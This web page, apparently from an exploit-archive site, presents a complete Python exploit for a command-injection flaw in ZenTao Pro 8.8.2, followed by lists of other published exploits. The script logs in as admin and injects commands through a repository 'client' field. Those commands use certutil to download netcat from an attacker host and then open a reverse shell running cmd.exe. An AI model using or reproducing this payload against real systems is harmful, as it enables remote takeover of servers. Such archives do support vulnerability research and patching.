To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"ZenTao Pro 8.8.2 - Command Injection"

Author

Exploit author

"Daniel Monzón"

Platform

Exploit platform

php

Release date

Exploit published date

2020-07-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
# Exploit Title: ZenTao Pro 8.8.2 - Command Injection
# Date: 2020-07-01
# Exploit Author: Daniel Monzón & Melvin Boers
# Vendor Homepage: https://www.zentao.pm/
# Version: 8.8.2
# Tested on: Windows 10 / WampServer
# Other versions like pro or enterprise edition could be affected aswell
# Netcat is needed to use this exploit


import requests
import hashlib
import urllib.parse


host = 'http://192.168.223.132'
username = 'admin'
password = 'Test123!@#'
name = 'Test2'
command = 'certutil.exe+-urlcache+-f+-split+http%3A%2F%2F192.168.223.131%2Fnc.exe+C%3A%5Cbad.exe+%26%26'
command2 = 'C:\\bad.exe  192.168.223.131 9001 -e cmd.exe &&'
git_path = 'C%3A%5CProgramData'



x = requests.session() # Create a session, as needed because we need admin rights.



def sign_in(url, username, password):
    password = hashlib.md5(password.encode('utf-8')).hexdigest() # We need to md5 encode the password in order to sign in
    proxy = {'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080'} # Just for debugging phase
    credentials = {'account' : username, 'password' : password} # The credentials we need
    path = url + '/zentao/user-login.html' # URL + path
    x.post(path, data=credentials, proxies=proxy, verify=False) # Send the post request to sign in
    return '[*] We are signed in!'


def go_to_repo(url):
	path = url + '/zentao/repo-browse.html'
	x.get(path, verify=False)

	print('[*] Getting to repo path')



def create_repo(url, name, command):
	headers = {'Accept':'application/json, text/javascript, */*; q=0.01',
	           'Accept-Encoding':'gzip, deflate',
	           'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
	           'X-Requested-With': 'XMLHttpRequest', 
	           'Origin':'http://192.168.223.132',
	           'Referer':'http://192.168.223.132/pro/repo-create.html', 
	           'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
	           'Accept-Language':'en-US,en;q=0.5'}

	cookies = {'ajax_lastNext':'on',
	           'windowWidth':'1846',
	           'windowHeight':'790'}

	path = url + '/zentao/repo-create.html'
	parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command
	x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)

	print('[*] Creating the repo')


def get_shell(url, name, command):
	headers = {'Accept':'application/json, text/javascript, */*; q=0.01',
	           'Accept-Encoding':'gzip, deflate',
	           'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
	           'X-Requested-With': 'XMLHttpRequest', 
	           'Origin':'http://192.168.223.132',
	           'Referer':'http://192.168.223.132/pro/repo-create.html', 
	           'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0',
	           'Accept-Language':'en-US,en;q=0.5'}

	cookies = {'ajax_lastNext':'on',
	           'windowWidth':'1846',
	           'windowHeight':'790'}

	path = url + '/zentao/repo-create.html'
	parameters = 'SCM=Git&name=' + name + '&path=' + git_path + '&encoding=utf-8&client=' + command2
	x.post(path, data=parameters, headers=headers, cookies=cookies, verify=False)

	print('[*] Check your netcat listener!')


def main():
	switch = True

	if switch:
            sign_in(host, username, password)
            if switch:
                go_to_repo(host)
                if switch:
                    create_repo(host, name, command)
                    if switch:
                    	get_shell(host, name, command2)
                    	switch = False


if __name__ == "__main__":
	main()
Release Date Title Type Platform Author
2020-11-20 "Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)" local windows ZwX
2020-11-20 "Zortam Mp3 Media Studio 27.60 - Remote Code Execution (SEH)" local windows "Vincent Wolterman"
2020-11-20 "Boxoft Convert Master 1.3.0 - 'wav' SEH Local Exploit" local windows stresser
2020-11-20 "WonderCMS 3.1.3 - 'content' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-11-20 "IBM Tivoli Storage Manager Command Line Administrative Interface 5.2.0.1 - id' Field Stack Based Buffer Overflow" local windows "Paolo Stagno"
2020-11-19 "Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)" dos windows "Vincent Wolterman"
2020-11-19 "M/Monit 3.7.4 - Privilege Escalation" webapps multiple "Dolev Farhi"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-19 "PESCMS TEAM 2.3.2 - Multiple Reflected XSS" webapps multiple icekam
2020-11-19 "M/Monit 3.7.4 - Password Disclosure" webapps multiple "Dolev Farhi"
Release Date Title Type Platform Author
2020-10-15 "rConfig 3.9.5 - Remote Code Execution (Unauthenticated)" webapps php "Daniel Monzón"
2020-07-02 "ZenTao Pro 8.8.2 - Command Injection" webapps php "Daniel Monzón"
2020-05-21 "OpenEDX platform Ironwood 2.5 - Remote Code Execution" webapps multiple "Daniel Monzón"
2020-05-18 "Online Healthcare Patient Record Management System 1.0 - Authentication Bypass" webapps php "Daniel Monzón"
2020-04-27 "Online Course Registration 2.0 - Authentication Bypass" webapps php "Daniel Monzón"
2020-04-13 "Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion" webapps php "Daniel Monzón"
2020-03-12 "Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection" webapps php "Daniel Monzón"
2020-03-11 "Wordpress Plugin Search Meter 2.13.2 - CSV injection" webapps php "Daniel Monzón"
2020-01-31 "Lotus Core CMS 1.0.1 - Local File Inclusion" webapps php "Daniel Monzón"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48633/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.